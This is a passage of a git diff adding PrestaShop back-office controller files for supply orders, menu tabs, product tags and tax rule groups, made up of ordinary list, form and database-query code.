'tax_rate' => array( + 'title' => $this->l('Tax rate'), + 'align' => 'right', + 'width' => 80, + 'orderby' => false, + 'filter' => false, + 'search' => false, + 'suffix' => '%', + ), + 'tax_value' => array( + 'title' => $this->l('Tax value'), + 'align' => 'right', + 'width' => 80, + 'orderby' => false, + 'filter' => false, + 'search' => false, + 'type' => 'price', + 'currency' => true, + ), + 'price_ti' => array( + 'title' => $this->l('Price (tax incl.)'), + 'align' => 'right', + 'width' => 80, + 'orderby' => false, + 'filter' => false, + 'search' => false, + 'type' => 'price', + 'currency' => true, + ), + ); + + //some staff before render list + foreach ($this->_list as &$item) + { + $item['discount_rate'] = Tools::ps_round($item['discount_rate'], 4); + $item['tax_rate'] = Tools::ps_round($item['tax_rate'], 4); + $item['id_currency'] = $currency->id; + } + + // unsets some buttons + unset($this->toolbar_btn['export-csv-orders']); + unset($this->toolbar_btn['export-csv-details']); + unset($this->toolbar_btn['new']); + + // renders list + $helper = new HelperList(); + $this->setHelperDisplay($helper); + $helper->actions = array(); + $helper->show_toolbar = false; + $helper->toolbar_btn = $this->toolbar_btn; + + $content = $helper->generateList($this->_list, $this->fields_list); + + // display these global order informations + $this->tpl_view_vars = array( + 'supply_order_detail_content' => $content, + 'supply_order_warehouse' => (Validate::isLoadedObject($warehouse) ? $warehouse->name : ''), + 'supply_order_reference' => $supply_order->reference, + 'supply_order_supplier_name' => $supply_order->supplier_name, + 'supply_order_creation_date' => Tools::displayDate($supply_order->date_add, $lang_id, false), + 'supply_order_last_update' => Tools::displayDate($supply_order->date_upd, $lang_id, false), + 'supply_order_expected' => Tools::displayDate($supply_order->date_delivery_expected, $lang_id, false), + 'supply_order_discount_rate' => Tools::ps_round($supply_order->discount_rate, 2), + 'supply_order_total_te' => Tools::displayPrice($supply_order->total_te, $currency), + 'supply_order_discount_value_te' => Tools::displayPrice($supply_order->discount_value_te, $currency), + 'supply_order_total_with_discount_te' => Tools::displayPrice($supply_order->total_with_discount_te, $currency), + 'supply_order_total_tax' => Tools::displayPrice($supply_order->total_tax, $currency), + 'supply_order_total_ti' => Tools::displayPrice($supply_order->total_ti, $currency), + 'supply_order_currency' => $currency, + 'is_template' => $supply_order->is_template, + ); + } + + return parent::renderView(); + } + + /** + * Callback used to display custom content for a given field + * @param int $id_supply_order + * @param string $tr + * @return string $content + */ + public function printExportIcons($id_supply_order, $tr) + { + $supply_order = new SupplyOrder((int)$id_supply_order); + + if (!Validate::isLoadedObject($supply_order)) + return; + + $supply_order_state = new SupplyOrderState($supply_order->id_supply_order_state); + if (!Validate::isLoadedObject($supply_order_state)) + return; + + $content = '<span style="width:20px; margin-right:5px;">'; + if ($supply_order_state->editable == false) + $content .= '<a href="'.$this->context->link->getAdminLink('AdminPdf').'&submitAction=generateSupplyOrderFormPDF&id_supply_order='.(int)$supply_order->id.'" title="'.$this->l('Export as PDF').'"><img src="../img/admin/pdf.gif" alt=""/></a>'; + else + $content .= '-'; + $content .= '</span>'; + + $content .= '<span style="width:20px">'; + if ($supply_order_state->enclosed == true && $supply_order_state->receipt_state == true) + $content .= '<a href="'.$this->context->link->getAdminLink('AdminSupplyOrders').'&id_supply_order='.(int)$supply_order->id.' + &csv_order_details" title='.$this->l('Export as CSV').'"> + <img src="../img/admin/excel_file.png" alt=""/></a>'; + else + $content .= '-'; + $content .= '</span>'; + + + return $content; + } + + /** + * Assigns default actions in toolbar_btn smarty var, if they are not set. + * uses override to specifically add, modify or remove items + * @see AdminSupplier::initToolbar() + */ + public function initToolbar() + { + switch ($this->display) + { + case 'update_order_state': + $this->toolbar_btn['save'] = array( + 'href' => '#', + 'desc' => $this->l('Save') + ); + + case 'update_receipt': + // Default cancel button - like old back link + if (!isset($this->no_back) || $this->no_back == false) + { + $back = Tools::safeOutput(Tools::getValue('back', '')); + if (empty($back)) + $back = self::$currentIndex.'&token='.$this->token; + + $this->toolbar_btn['cancel'] = array( + 'href' => $back, + 'desc' => $this->l('Cancel') + ); + } + break; + + case 'add': + case 'edit': + $this->toolbar_btn['save-and-stay'] = array( + 'href' => '#', + 'desc' => $this->l('Save and stay') + ); + default: + parent::initToolbar(); + } + } + + /** + * Overrides AdminController::afterAdd() + * @see AdminController::afterAdd() + * @param ObjectModel $object + * @return bool + */ + protected function afterAdd($object) + { + if (Tools::getValue('load_products') && Validate::isInt(Tools::getValue('load_products'))) + $this->loadProducts((int)Tools::getValue('load_products')); + + $this->object = $object; + return true; + } + + /** + * Loads products which quantity (hysical quantity) is equal or less than $threshold + * @param int $threshold + */ + protected function loadProducts($threshold) + { + // if there is already an order + if (Tools::getValue('id_supply_order')) + $supply_order = new SupplyOrder((int)Tools::getValue('id_supply_order')); + else // else, we just created a new order + $supply_order = $this->object; + + // if order is not valid, return; + if (!Validate::isLoadedObject($supply_order)) + return; + + // resets products if needed + if (Tools::getValue('id_supply_order')) + $supply_order->resetProducts(); + + // gets products + $query = new DbQuery(); + $query->select('ps.id_product, + ps.id_product_attribute, + ps.product_supplier_reference as supplier_reference, + ps.product_supplier_price_te as unit_price_te, + ps.id_currency, + IFNULL(pa.reference, IFNULL(p.reference, \'\')) as reference, + IFNULL(pa.ean13, IFNULL(p.ean13, \'\')) as ean13, + IFNULL(pa.upc, IFNULL(p.upc, \'\')) as upc'); + $query->from('product_supplier', 'ps'); + $query->leftJoin('stock', 's', ' + s.id_product = ps.id_product + AND s.id_product_attribute = ps.id_product_attribute + AND s.id_warehouse = '.(int)$supply_order->id_warehouse); + $query->innerJoin('warehouse_product_location', 'wpl', ' + wpl.id_product = ps.id_product + AND wpl.id_product_attribute = ps.id_product_attribute + AND wpl.id_warehouse = '.(int)$supply_order->id_warehouse.' + '); + $query->leftJoin('product', 'p', 'p.id_product = ps.id_product'); + $query->leftJoin('product_attribute', 'pa', ' + pa.id_product_attribute = ps.id_product_attribute + AND p.id_product = ps.id_product + '); + $query->where('ps.id_supplier = '.(int)$supply_order->id_supplier); + + // gets items + $items = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + + // loads order currency + $order_currency = new Currency($supply_order->id_currency); + if (!Validate::isLoadedObject($order_currency)) + return; + + $manager = StockManagerFactory::getManager(); + foreach ($items as $item) + { + $diff = (int)$threshold; + + if ($supply_order->is_template != 1) + { + $real_quantity = (int)$manager->getProductRealQuantities($item['id_product'], $item['id_product_attribute'], $supply_order->id_warehouse, true); + $diff = (int)$threshold - (int)$real_quantity; + } + + if ($diff > 0) + { + // sets supply_order_detail + $supply_order_detail = new SupplyOrderDetail(); + $supply_order_detail->id_supply_order = $supply_order->id; + $supply_order_detail->id_currency = $order_currency->id; + $supply_order_detail->id_product = $item['id_product']; + $supply_order_detail->id_product_attribute = $item['id_product_attribute']; + $supply_order_detail->reference = $item['reference']; + $supply_order_detail->supplier_reference = $item['supplier_reference']; + $supply_order_detail->name = Product::getProductName($item['id_product'], $item['id_product_attribute'], $supply_order->id_lang); + $supply_order_detail->ean13 = $item['ean13']; + $supply_order_detail->upc = $item['upc']; + $supply_order_detail->quantity_expected = (int)$diff; + $supply_order_detail->exchange_rate = $order_currency->conversion_rate; + + $product_currency = new Currency($item['id_currency']); + if (Validate::isLoadedObject($product_currency)) + $supply_order_detail->unit_price_te = Tools::convertPriceFull($item['unit_price_te'], $product_currency, $order_currency); + else + $supply_order_detail->unit_price_te = 0; + $supply_order_detail->save(); + unset($product_currency); + } + } + + // updates supply order + $supply_order->update(); + + } + + /** + * Overrides AdminController::beforeAdd() + * @see AdminController::beforeAdd() + * @param ObjectModel $object + */ + public function beforeAdd($object) + { + if (Tools::isSubmit('is_template')) + $object->is_template = 1; + + return true; + } + + /** + * Helper function for AdminSupplyOrdersController::postProcess() + * @see AdminSupplyOrdersController::postProcess() + */ + protected function postProcessCopyFromTemplate() + { + // gets SupplyOrder and checks if it is valid + $id_supply_order = (int)Tools::getValue('id_supply_order'); + $supply_order = new SupplyOrder($id_supply_order); + if (!Validate::isLoadedObject($supply_order)) + $this->errors[] = Tools::displayError($this->l('This template could not be copied.')); + + // gets SupplyOrderDetail + $entries = $supply_order->getEntriesCollection($supply_order->id_lang); + + // updates SupplyOrder so that it is not a template anymore + $language = new Language($supply_order->id_lang); + $ref = $supply_order->reference; + $ref .= ' ('.date($language->date_format_full).')'; + $supply_order->reference = $ref; + $supply_order->is_template = 0; + $supply_order->id = (int)0; + $supply_order->save(); + + // copies SupplyOrderDetail + foreach ($entries as $entry) + { + $entry->id_supply_order = $supply_order->id; + $entry->id = (int)0; + $entry->save(); + } + + // redirect when done + $token = Tools::getValue('token') ? Tools::getValue('token') : $this->token; + $redirect = self::$currentIndex.'&token='.$token; + $this->redirect_after = $redirect.'&conf=19'; + } + + /** + * Gets the current warehouse used + * + * @return int id_warehouse + */ + protected function getCurrentWarehouse() + { + static $warehouse = 0; + + if ($warehouse == 0) + { + $warehouse = -1; // all warehouses + if ((int)Tools::getValue('id_warehouse')) + $warehouse = (int)Tools::getValue('id_warehouse'); + } + return $warehouse; + } + + /** + * Gets the current filter used + * + * @return int status + */ + protected function getFilterStatus() + { + static $status = 0; + + $status = 0; + if (Tools::getValue('filter_status') === 'on') + $status = 1; + + return $status; + } + + public function initProcess() + { + if (!Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + { + $this->warnings[md5('PS_ADVANCED_STOCK_MANAGEMENT')] = $this->l('You need to activate advanced stock management prior to using this feature.'); + return false; + } + parent::initProcess(); + } +} diff --git a/controllers/admin/AdminTabsController.php b/controllers/admin/AdminTabsController.php new file mode 100755 index 0000000..735a41b --- /dev/null +++ b/controllers/admin/AdminTabsController.php @@ -0,0 +1,327 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminTabsControllerCore extends AdminController +{ + protected $position_identifier = 'id_tab'; + + public function __construct() + { + $this->context = Context::getContext(); + $this->multishop_context = Shop::CONTEXT_ALL; + $this->table = 'tab'; + $this->className = 'Tab'; + $this->lang = true; + + $this->fieldImageSettings = array( + 'name' => 'icon', + 'dir' => 't' + ); + + $this->imageType = 'gif'; + + $this->fields_list = array( + 'id_tab' => array( + 'title' => $this->l('ID'), + 'width' => 25 + ), + 'name' => array( + 'title' => $this->l('Name'), + 'width' => 200 + ), + 'logo' => array( + 'title' => $this->l('Icon'), + 'image' => 't', + 'image_id' => 'class_name', + 'orderby' => false, + 'search' => false + ), + 'module' => array( + 'title' => $this->l('Module') + ), + 'active' => array( + 'title' => $this->l('Enabled'), + 'width' => 70, + 'align' => 'center', + 'active' => 'status', + 'type' => 'bool', + 'orderby' => false + ), + 'position' => array( + 'title' => $this->l('Position'), + 'width' => 40, + 'filter_key' => 'a!position', + 'position' => 'position' + ) + ); + + parent::__construct(); + } + + /** + * AdminController::renderForm() override + * @see AdminController::renderForm() + */ + public function renderForm() + { + $tabs = Tab::getTabs($this->context->language->id, 0); + // If editing, we clean itself + if (Tools::isSubmit('id_tab')) + foreach ($tabs as $key => $tab) + if ($tab['id_tab'] == Tools::getValue('id_tab')) + unset($tabs[$key]); + + // added category "Home" in var $tabs + $tab_zero = array( + 'id_tab' => 0, + 'name' => $this->l('Home') + ); + array_unshift($tabs, $tab_zero); + + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Menus'), + 'image' => '../img/admin/tab.gif' + ), + 'input' => array( + array( + 'type' => 'hidden', + 'name' => 'position', + 'required' => false + ), + array( + 'type' => 'text', + 'label' => $this->l('Name:'), + 'name' => 'name', + 'lang' => true, + 'size' => 33, + 'required' => true, + 'hint' => $this->l('Invalid characters:').' <>;=#{}' + ), + array( + 'type' => 'text', + 'label' => $this->l('Class:'), + 'name' => 'class_name', + 'required' => true + ), + array( + 'type' => 'text', + 'label' => $this->l('Module:'), + 'name' => 'module' + ), + array( + 'type' => 'file', + 'label' => $this->l('Icon:'), + 'name' => 'icon', + 'desc' => $this->l('Upload a logo from your computer (.gif, .jpg, .jpeg or .png).') + ), + array( + 'type' => 'radio', + 'label' => $this->l('Status:'), + 'name' => 'active', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + 'desc' => $this->l('Show or hide menu.') + ), + array( + 'type' => 'select', + 'label' => $this->l('Parent:'), + 'name' => 'id_parent', + 'options' => array( + 'query' => $tabs, + 'id' => 'id_tab', + 'name' => 'name' + ) + ) + ), + 'submit' => array( + 'title' => $this->l(' Save '), + 'class' => 'button' + ) + ); + + return parent::renderForm(); + } + + /** + * AdminController::renderList() override + * @see AdminController::renderList() + */ + public function renderList() + { + $this->addRowAction('edit'); + $this->addRowAction('delete'); + $this->addRowAction('details'); + + $this->_where = 'AND a.`id_parent` = 0'; + $this->_orderBy = 'position'; + + return parent::renderList(); + } + + /** + * method call when ajax request is made with the details row action + * @see AdminController::postProcess() + */ + public function ajaxProcessDetails() + { + if (($id = Tools::getValue('id'))) + { + // override attributes + $this->display = 'list'; + $this->lang = false; + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->_select = 'b.*'; + $this->_join = 'LEFT JOIN `'._DB_PREFIX_.'tab_lang` b ON (b.`id_tab` = a.`id_tab` AND b.`id_lang` = '.$this->context->language->id.')'; + $this->_where = 'AND a.`id_parent` = '.(int)$id; + $this->_orderBy = 'position'; + + // get list and force no limit clause in the request + $this->getList($this->context->language->id); + + // Render list + $helper = new HelperList(); + $helper->actions = $this->actions; + $helper->list_skip_actions = $this->list_skip_actions; + $helper->no_link = true; + $helper->shopLinkType = ''; + $helper->identifier = $this->identifier; + $helper->imageType = $this->imageType; + $helper->toolbar_scroll = false; + $helper->show_toolbar = false; + $helper->orderBy = 'position'; + $helper->orderWay = 'ASC'; + $helper->currentIndex = self::$currentIndex; + $helper->token = $this->token; + $helper->table = $this->table; + $helper->position_identifier = $this->position_identifier; + // Force render - no filter, form, js, sorting ... + $helper->simple_header = true; + $content = $helper->generateList($this->_list, $this->fields_list); + + echo Tools::jsonEncode(array('use_parent_structure' => false, 'data' => $content)); + } + + die; + } + + public function postProcess() + { + /* PrestaShop demo mode */ + if (_PS_MODE_DEMO_) + { + $this->errors[] = Tools::displayError('This functionality has been disabled.'); + return; + } + /* PrestaShop demo mode*/ + + if (($id_tab = (int)Tools::getValue('id_tab')) && ($direction = Tools::getValue('move')) && Validate::isLoadedObject($tab = new Tab($id_tab))) + { + if ($tab->move($direction)) + Tools::redirectAdmin(self::$currentIndex.'&token='.$this->token); + } + elseif (Tools::getValue('position') && !Tools::isSubmit('submitAdd'.$this->table)) + { + if ($this->tabAccess['edit'] !== '1') + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + elseif (!Validate::isLoadedObject($object = new Tab((int)Tools::getValue($this->identifier)))) + $this->errors[] = Tools::displayError('An error occurred while updating the status for an object.'). + ' <b>'.$this->table.'</b> '.Tools::displayError('(cannot load object)'); + if (!$object->updatePosition((int)Tools::getValue('way'), (int)Tools::getValue('position'))) + $this->errors[] = Tools::displayError('Failed to update the position.'); + else + Tools::redirectAdmin(self::$currentIndex.'&conf=5&token='.Tools::getAdminTokenLite('AdminTabs')); + } + elseif (Tools::isSubmit('submitAddtab') && Tools::getValue('id_tab') === Tools::getValue('id_parent')) + $this->errors[] = Tools::displayError('You can\'t put this menu inside itself. '); + else + { + // Temporary add the position depend of the selection of the parent category + if (!Tools::isSubmit('id_tab')) // @todo Review + $_POST['position'] = Tab::getNbTabs(Tools::getValue('id_parent')); + } + + if (!count($this->errors)) + parent::postProcess(); + + } + + protected function afterImageUpload() + { + if (!($obj = $this->loadObject(true))) + return; + @rename(_PS_IMG_DIR_.'t/'.$obj->id.'.gif', _PS_IMG_DIR_.'t/'.$obj->class_name.'.gif'); + } + + public function ajaxProcessUpdatePositions() + { + $way = (int)(Tools::getValue('way')); + $id_tab = (int)(Tools::getValue('id')); + $positions = Tools::getValue('tab'); + + // when changing positions in a tab sub-list, the first array value is empty and needs to be removed + if (!$positions[0]) + { + unset($positions[0]); + // reset indexation from 0 + $positions = array_merge($positions); + } + + foreach ($positions as $position => $value) + { + $pos = explode('_', $value); + + if (isset($pos[2]) && (int)$pos[2] === $id_tab) + { + if ($tab = new Tab((int)$pos[2])) + if (isset($position) && $tab->updatePosition($way, $position)) + echo 'ok position '.(int)$position.' for tab '.(int)$pos[1].'\r\n'; + else + echo '{"hasError" : true, "errors" : "Can not update tab '.(int)$id_tab.' to position '.(int)$position.' "}'; + else + echo '{"hasError" : true, "errors" : "This tab ('.(int)$id_tab.') can t be loaded"}'; + + break; + } + } + } +} diff --git a/controllers/admin/AdminTagsController.php b/controllers/admin/AdminTagsController.php new file mode 100755 index 0000000..7e7ffcf --- /dev/null +++ b/controllers/admin/AdminTagsController.php @@ -0,0 +1,127 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminTagsControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'tag'; + $this->className = 'Tag'; + + $this->fields_list = array( + 'id_tag' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 25, + ), + 'lang' => array( + 'title' => $this->l('Language'), + 'filter_key' => 'l!name' + ), + 'name' => array( + 'title' => $this->l('Name'), + 'width' => 200, + 'filter_key' => 'a!name' + ), + 'products' => array( + 'title' => $this->l('Products:'), + 'align' => 'right', + 'havingFilter' => true + ) + ); + + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + parent::__construct(); + } + + public function renderList() + { + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->_select = 'l.name as lang, COUNT(pt.id_product) as products'; + $this->_join = ' + LEFT JOIN `'._DB_PREFIX_.'product_tag` pt + ON (a.`id_tag` = pt.`id_tag`) + LEFT JOIN `'._DB_PREFIX_.'lang` l + ON (l.`id_lang` = a.`id_lang`)'; + $this->_group = 'GROUP BY a.name, a.id_lang'; + + return parent::renderList(); + } + + public function postProcess() + { + if ($this->tabAccess['edit'] === '1' && Tools::getValue('submitAdd'.$this->table)) + if (($id = (int)Tools::getValue($this->identifier)) && ($obj = new $this->className($id)) && Validate::isLoadedObject($obj)) + $obj->setProducts($_POST['products']); + return parent::postProcess(); + } + + public function renderForm() + { + if (!($obj = $this->loadObject(true))) + return; + + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Tag') + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Name:'), + 'name' => 'name', + 'required' => true + ), + array( + 'type' => 'select', + 'label' => $this->l('Language:'), + 'name' => 'id_lang', + 'required' => true, + 'options' => array( + 'query' => Language::getLanguages(false), + 'id' => 'id_lang', + 'name' => 'name' + ) + ), + ), + 'selects' => array( + 'products' => $obj->getProducts(true), + 'products_unselected' => $obj->getProducts(false) + ), + 'submit' => array( + 'title' => $this->l('Save '), + 'class' => 'button' + ) + ); + + return parent::renderForm(); + } +} + + diff --git a/controllers/admin/AdminTaxRulesGroupController.php b/controllers/admin/AdminTaxRulesGroupController.php new file mode 100755 index 0000000..ac37c2d --- /dev/null +++ b/controllers/admin/AdminTaxRulesGroupController.php @@ -0,0 +1,501 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminTaxRulesGroupControllerCore extends AdminController +{ + public $tax_rule; + public $selected_countries = array(); + public $selected_states = array(); + public $errors_tax_rule; + + public function __construct() + { + $this->table = 'tax_rules_group'; + $this->className = 'TaxRulesGroup'; + $this->lang = false; + + $this->context = Context::getContext(); + + $this->fields_list = array( + 'id_tax_rules_group' => array( + 'title' => $this->l('ID'), + 'width' => 25 + ), + 'name' => array( + 'title' => $this->l('Name'), + 'width' => 'auto' + ), + 'active' => array( + 'title' => $this->l('Enabled'), + 'width' => 25, + 'active' => 'status', + 'type' => 'bool', + 'orderby' => false, + 'align' => 'center' + ) + ); + + $this->bulk_actions = array( + 'delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?')), + 'enableSelection' => array('text' => $this->l('Enable selection')), + 'disableSelection' => array('text' => $this->l('Disable selection')) + ); + + parent::__construct(); + } + + public function renderList() + { + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + return parent::renderList(); + } + + public function initRulesList($id_group) + { + $this->table = 'tax_rule'; + $this->identifier = 'id_tax_rule'; + $this->className = 'TaxRule'; + $this->lang = false; + $this->list_simple_header = false; + $this->toolbar_btn = null; + $this->list_no_link = true; + + $this->fields_list = array( + 'country_name' => array( + 'title' => $this->l('Country'), + 'width' => 140 + ), + 'state_name' => array( + 'title' => $this->l('State'), + 'width' => 140 + ), + 'zipcode' => array( + 'title' => $this->l('Zip Code'), + 'width' => 25, + ), + 'behavior' => array( + 'title' => $this->l('Behavior'), + 'width' => 25, + ), + 'rate' => array( + 'title' => $this->l('Tax'), + 'width' => 25, + ), + 'description' => array( + 'title' => $this->l('Description'), + 'width' => 25, + ) + ); + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->_select = ' + c.`name` AS country_name, + s.`name` AS state_name, + CONCAT_WS(" - ", a.`zipcode_from`, a.`zipcode_to`) AS zipcode, + t.rate'; + + $this->_join = ' + LEFT JOIN `'._DB_PREFIX_.'country_lang` c + ON (a.`id_country` = c.`id_country` AND id_lang = '.(int)$this->context->language->id.') + LEFT JOIN `'._DB_PREFIX_.'state` s + ON (a.`id_state` = s.`id_state`) + LEFT JOIN `'._DB_PREFIX_.'tax` t + ON (a.`id_tax` = t.`id_tax`)'; + $this->_where = 'AND `id_tax_rules_group` = '.(int)$id_group; + + $this->show_toolbar = false; + $this->tpl_list_vars = array('id_tax_rules_group' => (int)$id_group); + + return parent::renderList(); + } + + public function renderForm() + { + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Tax Rules'), + 'image' => '../img/admin/dollar.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Name:'), + 'name' => 'name', + 'size' => 33, + 'required' => true, + 'hint' => $this->l('Invalid characters:').' <>;=#{}' + ), + array( + 'type' => 'radio', + 'label' => $this->l('Enable:'), + 'name' => 'active', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ) + ) + ), + 'submit' => array( + 'title' => $this->l('Save and stay'), + 'class' => 'button', + 'stay' => true + ) + ); + + if (!($obj = $this->loadObject(true))) + return; + if (!isset($obj->id)) + { + $this->no_back = false; + $content = parent::renderForm(); + } + else + { + $this->no_back = true; + $this->toolbar_btn['new'] = array( + 'href' => '#', + 'desc' => $this->l('Add a new tax rule') + ); + $content = parent::renderForm(); + $this->tpl_folder = 'tax_rules/'; + $content .= $this->initRuleForm(); + + // We change the variable $ tpl_folder to avoid the overhead calling the file in list_action_edit.tpl in intList (); + + $content .= $this->initRulesList((int)$obj->id); + } + return $content; + } + + public function initRuleForm() + { + $this->fields_form[0]['form'] = array( + 'legend' => array( + 'title' => $this->l('New tax rule'), + 'image' => '../img/admin/dollar.gif' + ), + 'input' => array( + array( + 'type' => 'select', + 'label' => $this->l('Country:'), + 'name' => 'country', + 'id' => 'country', + 'options' => array( + 'query' => Country::getCountries($this->context->language->id), + 'id' => 'id_country', + 'name' => 'name', + 'default' => array( + 'value' => 0, + 'label' => $this->l('All') + ) + ) + ), + array( + 'type' => 'select', + 'label' => $this->l('State:'), + 'name' => 'states[]', + 'id' => 'states', + 'multiple' => true, + 'size' => 5, + 'options' => array( + 'query' => array(), + 'id' => 'id_state', + 'name' => 'name', + 'default' => array( + 'value' => 0, + 'label' => $this->l('All') + ) + ) + ), + array( + 'type' => 'hidden', + 'name' => 'action' + ), + array( + 'type' => 'hidden', + 'name' => 'id_tax_rules_group' + ), + array( + 'type' => 'text', + 'label' => $this->l('Zip Code range:'), + 'name' => 'zipcode', + 'required' => false, + 'hint' => $this->l('You can define a range of zipcodes (eg: 75000-75015) or simply use one zipcode.') + ), + array( + 'type' => 'select', + 'label' => $this->l('Behavior:'), + 'name' => 'behavior', + 'required' => false, + 'options' => array( + 'query' => array( + array( + 'id' => 0, + 'name' => $this->l('This tax only') + ), + array( + 'id' => 1, + 'name' => $this->l('Combine') + ), + array( + 'id' => 2, + 'name' => $this->l('One after another') + ) + ), + 'id' => 'id', + 'name' => 'name' + ), + 'hint' => + $this->l('Define the behavior if an address matches multiple rules:').'<br /> + <b>'.$this->l('This Tax Only:').'</b> '.$this->l('Will apply only this tax').'<br /> + <b>'.$this->l('Combine:').'</b> '.$this->l('Combine taxes (eg: 10% + 5% = 15%)').'<br /> + <b>'.$this->l('One After Another:').'</b> '.$this->l('Apply taxes one after another (eg: 0 + 10% = 0 + 5% = 5.5)') + ), + array( + 'type' => 'select', + 'label' => $this->l('Tax:'), + 'name' => 'id_tax', + 'required' => false, + 'options' => array( + 'query' => Tax::getTaxes((int)$this->context->language->id), + 'id' => 'id_tax', + 'name' => 'name', + 'default' => array( + 'value' => 0, + 'label' => $this->l('No Tax') + ) + ), + 'desc' => sprintf($this->l('(Total tax: %s)'), '9%') + ), + array( + 'type' => 'text', + 'label' => $this->l('Description:'), + 'name' => 'description', + 'size' => 40, + ) + ), + 'submit' => array( + 'title' => $this->l('Save and stay'), + 'class' => 'button', + 'stay' => true + ) + ); + + if (!($obj = $this->loadObject(true))) + return; + + $this->fields_value = array( + 'action' => 'create_rule', + 'id_tax_rules_group' => $obj->id, + 'id_tax_rule' => '' + ); + + $this->getlanguages(); + $helper = new HelperForm(); + $helper->override_folder = $this->tpl_folder; + $helper->currentIndex = self::$currentIndex; + $helper->token = $this->token; + $helper->table = 'tax_rule'; + $helper->identifier = 'id_tax_rule'; + $helper->id = $obj->id; + $helper->toolbar_scroll = true; + $helper->show_toolbar = false; + $helper->languages = $this->_languages; + $helper->default_form_language = $this->default_form_language; + $helper->allow_employee_form_lang = $this->allow_employee_form_lang; + $helper->fields_value = $this->getFieldsValue($this->object); + $helper->toolbar_btn = null; + $helper->submit_action = 'create_rule'; + + return $helper->generateForm($this->fields_form); + } + + + public function initProcess() + { + if (Tools::isSubmit('deletetax_rule')) + { + if ($this->tabAccess['delete'] === '1') + $this->action = 'delete_tax_rule'; + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + } + else if (Tools::isSubmit('submitBulkdeletetax_rule')) + { + if ($this->tabAccess['delete'] === '1') + $this->action = 'bulk_delete_tax_rules'; + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + } + else if (Tools::getValue('action') == 'create_rule') + { + if ($this->tabAccess['add'] === '1') + $this->action = 'create_rule'; + else + $this->errors[] = Tools::displayError('You do not have permission to add this.'); + } + else + parent::initProcess(); + + } + + protected function processCreateRule() + { + $zip_code = Tools::getValue('zipcode'); + $id_rule = (int)Tools::getValue('id_tax_rule'); + $id_tax = (int)Tools::getValue('id_tax'); + $id_tax_rules_group = (int)Tools::getValue('id_tax_rules_group'); + $behavior = (int)Tools::getValue('behavior'); + $description = pSQL(Tools::getValue('description')); + + if ((int)($id_country = Tools::getValue('country')) == 0) + { + $countries = Country::getCountries($this->context->language->id); + $this->selected_countries = array(); + foreach ($countries as $country) + $this->selected_countries[] = (int)$country['id_country']; + } + else + $this->selected_countries = array($id_country); + $this->selected_states = Tools::getValue('states'); + + if (empty($this->selected_states) || count($this->selected_states) == 0) + $this->selected_states = array(0); + $tax_rules_group = new TaxRulesGroup((int)$id_tax_rules_group); + foreach ($this->selected_countries as $id_country) + { + foreach ($this->selected_states as $id_state) + { + if 